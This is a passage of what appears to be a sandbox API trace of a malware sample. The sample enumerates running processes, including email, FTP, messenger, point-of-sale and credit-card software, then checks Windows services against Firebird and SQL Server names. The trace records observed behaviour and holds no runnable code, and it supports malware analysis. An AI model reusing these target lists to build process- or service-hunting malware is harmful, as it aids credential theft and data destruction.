	[0069.725] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0069.726] lstrlenW (lpString="flashfxp.exe") returned 12
	[0069.726] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0069.727] lstrlenW (lpString="fling.exe") returned 9
	[0069.727] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0069.728] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0069.729] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0069.729] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0069.729] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0069.730] lstrlenW (lpString="icq.exe") returned 7
	[0069.730] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0069.731] lstrlenW (lpString="leechftp.exe") returned 12
	[0069.731] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0069.732] lstrlenW (lpString="ncftp.exe") returned 9
	[0069.732] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0069.733] lstrlenW (lpString="notepad.exe") returned 11
	[0069.733] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0069.734] lstrlenW (lpString="operamail.exe") returned 13
	[0069.734] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0069.735] lstrlenW (lpString="pidgin.exe") returned 10
	[0069.735] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0069.736] lstrlenW (lpString="scriptftp.exe") returned 13
	[0069.736] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0069.738] lstrlenW (lpString="skype.exe") returned 9
	[0069.738] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0069.739] lstrlenW (lpString="smartftp.exe") returned 12
	[0069.739] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0069.740] lstrlenW (lpString="thunderbird.exe") returned 15
	[0069.740] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0069.741] lstrlenW (lpString="totalcmd.exe") returned 12
	[0069.741] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0069.742] lstrlenW (lpString="trillian.exe") returned 12
	[0069.742] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0069.742] lstrlenW (lpString="webdrive.exe") returned 12
	[0069.742] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0069.743] lstrlenW (lpString="whatsapp.exe") returned 12
	[0069.743] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0069.744] lstrlenW (lpString="winscp.exe") returned 10
	[0069.744] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0069.745] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0069.745] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0069.746] lstrlenW (lpString="active-charge.exe") returned 17
	[0069.746] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0069.747] lstrlenW (lpString="accupos.exe") returned 11
	[0069.747] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0069.747] lstrlenW (lpString="afr38.exe") returned 9
	[0069.747] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0069.748] lstrlenW (lpString="aldelo.exe") returned 10
	[0069.748] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0069.749] lstrlenW (lpString="ccv_server.exe") returned 14
	[0069.749] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0069.974] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0069.974] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0069.975] lstrlenW (lpString="creditservice.exe") returned 17
	[0069.975] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0069.976] lstrlenW (lpString="edcsvr.exe") returned 10
	[0069.976] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0069.977] lstrlenW (lpString="fpos.exe") returned 8
	[0069.977] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0069.977] lstrlenW (lpString="isspos.exe") returned 10
	[0069.977] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0069.978] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0069.978] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0069.979] lstrlenW (lpString="omnipos.exe") returned 11
	[0069.979] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0069.980] lstrlenW (lpString="spcwin.exe") returned 10
	[0069.980] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0069.980] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0069.981] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0069.981] lstrlenW (lpString="utg2.exe") returned 8
	[0069.981] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0069.982] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0069.982] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0069.983] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0069.983] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0069.984] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0069.984] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0069.985] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0069.985] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0069.986] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0069.986] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.986] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.986] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.987] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.987] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0069.988] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0069.988] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0069.989] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0069.989] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1
	[0069.990] lstrlenW (lpString="sc.exe") returned 6
	[0069.990] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0069.991] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0069.991] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0069.991] lstrlenW (lpString="UsoClient.exe") returned 13
	[0069.991] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.992] lstrlenW (lpString="conhost.exe") returned 11
	[0069.992] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x116c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.993] lstrlenW (lpString="conhost.exe") returned 11
	[0069.993] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.994] lstrlenW (lpString="conhost.exe") returned 11
	[0069.994] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.994] lstrlenW (lpString="svchost.exe") returned 11
	[0069.994] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0069.995] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0069.995] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.996] lstrlenW (lpString="svchost.exe") returned 11
	[0069.996] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0069.996] lstrlenW (lpString="cmd.exe") returned 7
	[0069.996] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.997] lstrlenW (lpString="conhost.exe") returned 11
	[0069.997] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0069.998] lstrlenW (lpString="dllhost.exe") returned 11
	[0069.998] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0069.998] CloseHandle (hObject=0x2f4) returned 1
	[0069.998] Sleep (dwMilliseconds=0x1f4) 
	[0070.524] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53efb8
	[0070.525] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0070.525] GetLastError () returned 0xea
	[0070.525] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x3d81e08
	[0070.525] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d81e08, cbBufSize=0x1ce8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d81e08, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0070.526] CloseServiceHandle (hSCObject=0x53efb8) returned 1
	[0070.526] lstrlenW (lpString="Appinfo") returned 7
	[0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0070.527] lstrlenW (lpString="AppXSvc") returned 7
	[0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0070.527] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0070.527] lstrlenW (lpString="Audiosrv") returned 8
	[0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0070.527] lstrlenW (lpString="BFE") returned 3
	[0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0070.527] lstrlenW (lpString="BITS") returned 4
	[0070.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0070.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0070.527] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0070.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0070.528] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0070.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0070.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0070.528] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0070.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0070.528] lstrlenW (lpString="CDPSvc") returned 6
